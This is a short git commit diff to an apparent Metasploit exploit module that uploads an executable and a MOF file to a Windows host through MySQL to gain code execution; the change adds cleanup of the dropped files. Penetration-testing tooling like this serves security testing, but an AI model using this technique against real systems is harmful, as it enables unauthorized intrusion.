Added support for FileDropper
parent
18f4df0a38
commit
6d3d4c1d84
|
@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
include Msf::Exploit::Remote::MYSQL
|
||||
include Msf::Exploit::WbemExec
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -122,6 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Uploading to '#{dest}'")
|
||||
begin
|
||||
upload_file(exe, dest)
|
||||
register_file_for_cleanup("#{exe_name}")
|
||||
rescue RbMysql::AccessDeniedError
|
||||
print_error("#{peer} - No permission to write. I blame kc :-)")
|
||||
return
|
||||
|
@ -133,6 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Uploading to '#{dest}'")
|
||||
begin
|
||||
upload_file(mof, dest)
|
||||
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
|
||||
rescue RbMysql::AccessDeniedError
|
||||
print_error("#{peer} - No permission to write. Bail!")
|
||||
return
|
||||
|
|
Loading…
Reference in New Issue